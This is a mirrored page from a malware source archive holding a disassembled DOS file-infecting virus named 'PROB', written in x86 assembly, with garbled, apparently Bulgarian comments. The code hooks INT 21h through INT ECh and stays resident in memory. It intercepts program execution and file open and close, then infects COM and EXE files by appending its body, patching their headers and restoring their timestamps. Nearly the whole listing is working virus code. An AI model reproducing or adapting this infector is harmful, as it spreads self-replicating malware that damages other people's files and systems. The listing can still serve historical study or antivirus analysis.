mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-24 04:15:26 +00:00
4b9382ddbc
push
529 lines
21 KiB
NASM
529 lines
21 KiB
NASM
|
||
PAGE 59,132
|
||
|
||
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
||
;ÛÛ ÛÛ
|
||
;ÛÛ PROB ÛÛ
|
||
;ÛÛ ÛÛ
|
||
;ÛÛ Created: 1-Jan-80 ÛÛ
|
||
;ÛÛ Version: ÛÛ
|
||
;ÛÛ Passes: 5 Analysis Options on: ABCDEFPX ÛÛ
|
||
;ÛÛ ÛÛ
|
||
;ÛÛ ÛÛ
|
||
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
||
|
||
data_1e equ 0 ; (6B7E:0000=0)
|
||
data_2e equ 2 ; (6B7E:0002=0)
|
||
data_4e equ 0F1h ; (6B7E:00F1=0)
|
||
data_17e equ 499h ; (6C11:0499=0)
|
||
data_18e equ 49Bh ; (6C11:049B=0)
|
||
data_19e equ 49Dh ; (6C11:049D=0)
|
||
data_20e equ 49Fh ; (6C11:049F=0)
|
||
data_21e equ 4B8h ; (6C11:04B8=0)
|
||
|
||
;-------------------------------------------------------------- seg_a ----
|
||
|
||
seg_a segment para public
|
||
assume cs:seg_a , ds:seg_a , ss:stack_seg_c
|
||
|
||
db 256 dup (0)
|
||
db 8Ch, 0C8h, 8Eh, 0D8h, 0BAh, 10h
|
||
db 1, 0B4h, 9, 0CDh, 21h, 0B8h
|
||
db 0, 4Ch, 0CDh
|
||
db '!This is a test', 0Ah, 0Dh, '$'
|
||
db 1807 dup (0)
|
||
|
||
seg_a ends
|
||
|
||
|
||
|
||
;-------------------------------------------------------------- seg_b ----
|
||
|
||
seg_b segment para public
|
||
assume cs:seg_b , ds:seg_b , ss:stack_seg_c
|
||
|
||
db 241 dup (0)
|
||
db 4Fh, 4Dh
|
||
db 9 dup (20h)
|
||
db 0, 0, 0, 0
|
||
|
||
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
||
;
|
||
; Program Entry Point
|
||
;
|
||
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
||
|
||
|
||
prob proc far
|
||
|
||
start:
|
||
jmp short loc_3 ; (0137)
|
||
data_10 dw 5A4Dh
|
||
db 21h, 1, 6, 0, 0, 0
|
||
db 20h, 0, 0, 0, 0FFh, 0FFh
|
||
data_11 dw 0
|
||
data_12 dw 0
|
||
db 0BBh, 0DDh
|
||
data_13 dd 00100h
|
||
db 'COMMAND.COM'
|
||
db 0
|
||
|
||
prob endp
|
||
|
||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||
; SUBROUTINE
|
||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||
|
||
sub_1 proc near ; <20>°®¢¥°¿¢ ¤ «¨ ¥ EXE
|
||
cmp cs:data_10,4D5Ah ; (6C11:0102=5A4Dh)
|
||
je loc_ret_2 ; Jump if equal
|
||
cmp cs:data_10,5A4Dh ; (6C11:0102=5A4Dh)
|
||
|
||
loc_ret_2:
|
||
retn
|
||
sub_1 endp
|
||
|
||
loc_3:
|
||
mov cs:data_19e,ds ; (6C11:049D=0)
|
||
push ax
|
||
mov ax,0EC59h ; <20>°®¢¥°¿¢ ¤ «¨ ¥ ¨±² «¨°
|
||
int 21h ; DOS Services ah=function ECh
|
||
cmp bp,ax ; €ª® AX<>BP ¥ ¥ ¨±² «¨°
|
||
jne loc_6
|
||
push cs
|
||
pop ds
|
||
loc_4:
|
||
pop ax
|
||
mov es,cs:data_19e ; (6C11:049D=0)
|
||
call sub_1 ; (COM/EXE)?
|
||
jz loc_5 ; Jump if zero
|
||
mov cx,0Dh ; ‚º§±² ®¢¿¢ COM
|
||
mov si,102h
|
||
push es
|
||
mov di,100h
|
||
push di ; <20>°¥¬¥±²¢ ¯º°¢¨²¥ 13 ¡ ©²
|
||
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
|
||
push es
|
||
pop ds ; <20>°¥µ®¤ ªº¬ ¯°®£° ¬ ²
|
||
retf ; Return far
|
||
loc_5:
|
||
mov si,es ; ‚º§±² ®¢¿¢ EXE
|
||
add si,10h
|
||
add word ptr cs:data_13+2,si; ’®¢ ¥ ®²¬¥±²¢ ¥²® CS
|
||
add si,cs:data_11 ; ’®¢ ¥ ®²¬¥±²¢ ¥²® SS
|
||
mov di,cs:data_12 ; ’®¢ ¥ ®²¬¥±²¢ ¥²® SP
|
||
push es
|
||
pop ds
|
||
cli ; Disable interrupts
|
||
mov ss,si
|
||
mov sp,di
|
||
sti ; Enable interrupts
|
||
jmp cs:data_13 ; <20>°¥µ®¤ ªº¬ ¯°®£° ¬ ²
|
||
loc_6:
|
||
mov ax,3521h
|
||
int 21h ; DOS Services ah=function 35h
|
||
; get intrpt vector al in es:bx
|
||
mov dx,bx
|
||
push es
|
||
pop ds
|
||
mov ax,25ECh ; <20>°¥¬¥±²¢ INT 21H INT ECH
|
||
int 21h ; DOS Services ah=function 25h
|
||
; set intrpt vector al to ds:dx
|
||
mov ax,cs:data_19e ; (6C11:049D=0)
|
||
mov es,ax
|
||
dec ax
|
||
mov ds,ax
|
||
mov bx,word ptr ds:data_2e+1 ; (6B7E:0003=0)
|
||
sub bx,65h
|
||
add ax,bx
|
||
mov es:data_2e,ax ; (6B7E:0002=0)
|
||
mov ah,4Ah ; 'J'
|
||
int 0ECh
|
||
mov bx,64h
|
||
mov ah,48h ; 'H'
|
||
int 0ECh
|
||
sub ax,10h
|
||
mov es,ax
|
||
mov byte ptr ds:data_1e,5Ah ; (6B7E:0000=0) 'Z'
|
||
push cs
|
||
pop ds
|
||
mov si,100h
|
||
mov di,si
|
||
mov cx,39Fh
|
||
nop ; <20>°¥¬¥±²¢ ±¥ ¢º¢ ¢¨±®ª¨²¥ ¤°¥±¨
|
||
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
|
||
mov di,1D0h
|
||
push es
|
||
push di
|
||
retf ; Return far
|
||
mov word ptr es:data_4e,70h ; (6B7E:00F1=0)
|
||
mov ax,3521h ;(??) ’ §¨ ¨±²°³ª¶¨¿ ¬®¦¥ ¤ ±¥ ®¯²¨¬¨§¨°
|
||
int 0ECh
|
||
mov cs:data_15,bx ; (6C11:0216=12E4h)
|
||
mov cs:data_16,es ; (6C11:0218=12Eh)
|
||
mov ah,25h ; '%'
|
||
mov dx,201h
|
||
push cs
|
||
pop ds
|
||
int 0ECh ; <20>°¥µ¢ ¹ ¢¥ª²®° INT 21H
|
||
push cs
|
||
pop es
|
||
mov di,49Fh
|
||
mov cx,19h
|
||
mov al,0 ; <20>³«¨° 19h ¡ ©² ±«¥¤ ª° ¿
|
||
rep stosb ; Rep when cx >0 Store al to es:[di]
|
||
jmp loc_4 ; ‚º§±² ®¢¿¢ ¯°®£° ¬ ²
|
||
loc_7:
|
||
mov bp,ax ; ’®¢ ¥ ´³ª¶¨¿ ECH
|
||
iret ; Interrupt return
|
||
cmp ax,0EC59h ; ‚•Ž„<C5BD>€ ’Ž—Š€ <20>€ INT 21H
|
||
je loc_7 ; Jump if equal
|
||
cmp ax,4B00h
|
||
je loc_9 ; Jump if equal
|
||
cmp ah,3Dh ; '='
|
||
je loc_11 ; Jump if equal
|
||
cmp ah,3Eh ; '>'
|
||
je loc_13 ; Jump if equal
|
||
loc_8:
|
||
jmp far ptr loc_1 ;*(012E:12E4)
|
||
loc_9:
|
||
call sub_2 ; (028B)
|
||
jmp short loc_8 ; (0215)
|
||
loc_10:
|
||
pop cx
|
||
jmp short loc_8 ; (0215)
|
||
loc_11:
|
||
push cx
|
||
call sub_6 ; (040E)
|
||
jc loc_10 ; Jump if carry Set
|
||
cmp cx,20h
|
||
pop cx
|
||
jnz loc_8 ; Jump if not zero
|
||
mov al,2
|
||
pushf ; Push flags
|
||
call dword ptr cs:[216h] ; (6C11:0216=12E4h)
|
||
jc loc_ret_12 ; Jump if carry Set
|
||
push ax
|
||
push bx
|
||
mov bx,ax
|
||
mov al,cs:data_21e ; (6C11:04B8=0)
|
||
mov cs:data_20e[bx],al ; (6C11:049F=0)
|
||
pop bx
|
||
pop ax
|
||
|
||
loc_ret_12:
|
||
retf 2 ; Return far
|
||
loc_13:
|
||
cmp byte ptr cs:data_20e[bx],0 ; (6C11:049F=0)
|
||
je loc_8 ; Jump if equal
|
||
push ax
|
||
mov al,cs:data_20e[bx] ; (6C11:049F=0)
|
||
mov cs:data_21e,al ; (6C11:04B8=0)
|
||
mov byte ptr cs:data_20e[bx],0 ; (6C11:049F=0)
|
||
mov ah,45h ; 'E'
|
||
int 0ECh
|
||
mov cs:data_19e,ax ; (6C11:049D=0)
|
||
pop ax
|
||
jc loc_8 ; Jump if carry Set
|
||
pushf ; Push flags
|
||
call dword ptr cs:[216h] ; (6C11:0216=12E4h)
|
||
jc loc_ret_12 ; Jump if carry Set
|
||
push bx
|
||
mov bx,cs:data_19e ; (6C11:049D=0)
|
||
push ds
|
||
call sub_3 ; (02BB)
|
||
call sub_4 ; (02DC)
|
||
call sub_5 ; (03FA)
|
||
pop ds
|
||
pop bx
|
||
clc ; Clear carry flag
|
||
retf 2 ; Return far
|
||
|
||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||
; SUBROUTINE
|
||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||
|
||
sub_2 proc near
|
||
push ax
|
||
push bx
|
||
push cx
|
||
call sub_6 ; (040E)
|
||
jc loc_16 ; €ª® ¥ ¥ ¨§¯º«¨¬ ¨§µ®¤
|
||
push cx
|
||
push ds
|
||
call sub_3 ; <20>°¥ ±®·¢ INT 24H
|
||
pop ds
|
||
mov ax,4301h
|
||
xor cx,cx ; Zero register
|
||
int 0ECh ; <20>°®¬¥¿ ²°¨¡³²¨²¥
|
||
jc loc_14 ; Jump if carry Set
|
||
mov ax,3D02h ; Ž²¢ °¿ £® § ·¥²¥¥
|
||
int 0ECh
|
||
mov bx,ax
|
||
loc_14:
|
||
pop cx
|
||
jc loc_15 ; €ª® ¨¬ £°¥¸ª ¨§µ®¤
|
||
call sub_4 ; (02DC)
|
||
mov ax,4301h
|
||
int 0ECh
|
||
loc_15:
|
||
call sub_5 ; (03FA)
|
||
loc_16:
|
||
pop cx
|
||
pop bx
|
||
pop ax
|
||
retn
|
||
sub_2 endp
|
||
|
||
|
||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||
; SUBROUTINE
|
||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||
|
||
sub_3 proc near ; <20>°¥ ±®·¢ INT 24H
|
||
push ax
|
||
push dx
|
||
push bx
|
||
push es
|
||
mov ax,3524h
|
||
int 0ECh
|
||
mov cs:data_17e,bx ; (6C11:0499=0)
|
||
mov cs:data_18e,es ; (6C11:049B=0)
|
||
pop es
|
||
pop bx
|
||
push cs
|
||
pop ds
|
||
mov dx,469h
|
||
mov ah,25h
|
||
int 0ECh ; <20>°¥ ±®·¢ INT 24H
|
||
pop dx
|
||
pop ax
|
||
retn
|
||
sub_3 endp
|
||
|
||
|
||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||
; SUBROUTINE
|
||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||
|
||
sub_4 proc near
|
||
push ax
|
||
push cx
|
||
push dx
|
||
push si
|
||
push di
|
||
push ds
|
||
mov di,102h
|
||
mov cx,0FFFFh
|
||
mov dx,0FFFAh
|
||
mov ax,4202h
|
||
int 0ECh ; <20>°¥¬¥±²¢ ³ª § ²¥«¿ ¢ ª° ¿
|
||
mov ah,3Fh ; '?'
|
||
mov cx,6
|
||
push cs
|
||
pop ds
|
||
mov dx,di
|
||
int 0ECh ; —¥²¥ 6 ¡ ©²
|
||
jc loc_17 ; Jump if carry Set
|
||
cmp word ptr cs:[di],4E41h ; <20>°®¢¥°¿¢ ¤ «¨ ¥ § ° §¥
|
||
je loc_17 ; Jump if equal
|
||
xor cx,cx
|
||
xor dx,dx
|
||
mov ax,4200h
|
||
int 0ECh ; <20>°¥¬¥±²¢ FP ¢ · «®²®
|
||
mov ah,3Fh ; <20>®¬¥±²¥¢ ¯º°¢¨²¥ 18h ¡ ©²
|
||
mov cx,18h ; ®² CS:100
|
||
mov dx,di
|
||
int 0ECh ; —¥²¥ ¯º°¢¨²¥ 18h ¡ ©²
|
||
jnc loc_18 ; Jump if carry=0
|
||
loc_17:
|
||
jmp loc_27 ; (03E6)
|
||
loc_18:
|
||
xor cx,cx ; Zero register
|
||
xor dx,dx ; Zero register
|
||
cmp byte ptr cs:data_21e,2 ; (6C11:04B8=0)
|
||
jne loc_19 ; Jump if not equal
|
||
cmp word ptr [di+1],4000h
|
||
ja loc_17 ; Jump if above
|
||
dec cx
|
||
mov dx,0C0h
|
||
sub dx,499h
|
||
loc_19:
|
||
mov ax,4202h ; <20>°¥¬¥±²¢ FP ¢ ª° ¿ ´ ¨«
|
||
loc_20:
|
||
int 0ECh
|
||
test ax,0Fh
|
||
jz loc_21 ; Jump if zero
|
||
mov cx,dx ; ‡ ª°º£«¿ ¤® 16
|
||
mov dx,ax
|
||
add dx,10h
|
||
adc cx,0
|
||
and dl,0F0h
|
||
mov ax,4200h ; <20>°¥¬¥±²¢ § ª°º£«¥¨¿
|
||
jmp short loc_20 ; (0339)
|
||
loc_21:
|
||
call sub_1 ; (0126)
|
||
jz loc_23 ; ” ¨«º² ¥ EXE
|
||
or dx,dx ; Zero ?
|
||
jnz loc_17 ; Jump if not zero
|
||
cmp ax,400h
|
||
jae loc_22 ; Jump if above or =
|
||
jmp loc_27 ; (03E6)
|
||
loc_22:
|
||
cmp ax,0FA00h
|
||
ja loc_27 ; Jump if above
|
||
loc_23:
|
||
mov cl,4
|
||
shr ax,cl ; Shift w/zeros fill
|
||
mov si,ax
|
||
mov cl,0Ch
|
||
shl dx,cl ; Shift w/zeros fill
|
||
add si,dx ; <20>®«³· ¢ ¤º«¦¨ ² ¢ ¯ ° £° ´¨
|
||
mov ah,40h ; ‡ ¯¨±¢ 399h ¡ ©²
|
||
mov dx,100h
|
||
mov cx,399h
|
||
nop
|
||
int 0ECh
|
||
jc loc_27 ; Jump if carry Set
|
||
call sub_1
|
||
jnz loc_25 ; Jump if not zero
|
||
sub si,10h
|
||
sub si,cs:[di+8] ; Š®°¨£¨° ¯°¥´¨ª±
|
||
mov word ptr cs:[di+14h],100h
|
||
mov cs:[di+16h],si
|
||
mov word ptr cs:[di+10h],400h
|
||
add si,44h
|
||
nop
|
||
mov cs:[di+0Eh],si
|
||
mov ax,4202h
|
||
xor cx,cx ; Zero register
|
||
xor dx,dx ; Zero register
|
||
int 0ECh ; ‚§¥¬ ¤º«¦¨ ²
|
||
mov cx,200h
|
||
div cx ; ax,dx rem=dx:ax/reg
|
||
or dx,dx ; Zero ?
|
||
jz loc_24 ; Jump if zero
|
||
inc ax
|
||
loc_24:
|
||
mov cs:[di+2],dx ;<3B>°®¬¥¿ ¤º«¦¨ ² ¢ ¯°¥´¨ª±
|
||
mov cs:[di+4],ax
|
||
jmp short loc_26 ; (03D4)
|
||
loc_25:
|
||
push si
|
||
push di
|
||
push es
|
||
push cs
|
||
pop es
|
||
mov si,46Ch
|
||
mov cx,0Bh
|
||
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
|
||
pop es
|
||
pop di
|
||
pop word ptr [di+0Bh]
|
||
loc_26:
|
||
mov ax,4200h ; <20>°¥¬¥±²¢ FP ¢ · «®²®
|
||
xor cx,cx ; Zero register
|
||
xor dx,dx ; Zero register
|
||
int 0ECh
|
||
mov ah,40h ; ‡ ¯¨±¢ ¯º°¢¨²¥ 16h ¡ ©²
|
||
mov cx,18h
|
||
mov dx,di
|
||
int 0ECh
|
||
loc_27: ; ‚§¥¬ ¤ ² ² ¬³ ¨ ¿ § ¯¨±¢
|
||
mov ax,5700h
|
||
int 0ECh
|
||
mov al,1
|
||
int 0ECh
|
||
mov ah,3Eh ; ‡ ²¢ °¿ ´ ¨«
|
||
int 0ECh
|
||
pop ds
|
||
pop di
|
||
pop si
|
||
pop dx
|
||
pop cx
|
||
pop ax
|
||
retn
|
||
sub_4 endp
|
||
|
||
|
||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||
; SUBROUTINE
|
||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||
|
||
sub_5 proc near ; ‚º§±² ®¢¿¢ INT 24H
|
||
push ax
|
||
push dx
|
||
push ds
|
||
mov ax,2524h
|
||
mov dx,cs:data_17e ; (6C11:0499=0)
|
||
mov ds,cs:data_18e ; (6C11:049B=0)
|
||
pop ds
|
||
pop dx
|
||
pop ax
|
||
retn
|
||
sub_5 endp
|
||
|
||
|
||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||
; SUBROUTINE
|
||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||
|
||
sub_6 proc near ; ‡ ¯ §¢ °¥£¨±²°¨²¥
|
||
push ax
|
||
push es
|
||
push di
|
||
push bx
|
||
mov di,dx
|
||
push ds
|
||
pop es
|
||
mov al,0
|
||
mov cx,40h ; ’º°±¨ ª° ¿² ¨¬¥²® ´ ¨«
|
||
repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al
|
||
mov ax,[di-3]
|
||
mov cx,[di-5]
|
||
and ax,5F5Fh
|
||
and ch,5Fh
|
||
cmp ax,4D4Fh ;(COM)?
|
||
jne loc_29
|
||
cmp cx,432Eh
|
||
je $+10h ; Jump if equal
|
||
loc_28:
|
||
stc ; Set carry flag
|
||
jmp short $+2Fh
|
||
loc_29:
|
||
cmp ax,4558h
|
||
jne loc_28 ; Jump if not equal
|
||
cmp cx,452Eh
|
||
sub_6 endp
|
||
|
||
|
||
seg_b ends
|
||
|
||
|
||
|
||
;--------------------------------------------------------- stack_seg_c ---
|
||
|
||
stack_seg_c segment para stack
|
||
|
||
db 75h, 0F2h, 0B9h, 7, 0, 0BBh
|
||
db 0FFh, 0FFh, 43h, 8Ah, 41h, 0F4h
|
||
db 24h, 5Fh, 2Eh, 3Ah, 87h, 1Ah
|
||
db 1, 0E1h, 0F3h, 0B0h, 1, 75h
|
||
db 2, 0B0h, 2, 2Eh, 0A2h, 0B8h
|
||
db 4, 0B8h, 0, 43h, 0CDh, 0ECh
|
||
db 5Bh, 5Fh, 7, 58h, 0C3h, 0B0h
|
||
db 3, 0CFh, 50h, 8Ch, 0C8h, 1
|
||
db 6, 0Bh, 1, 58h, 0EAh, 0
|
||
db 1
|
||
db ' Dark Lord, I summon thee!'
|
||
db 0
|
||
db 4Dh, 41h, 4Eh, 4Fh, 57h, 41h
|
||
db 52h
|
||
db 935 dup (0)
|
||
|
||
stack_seg_c ends
|
||
|
||
|
||
|
||
end start
|
||
|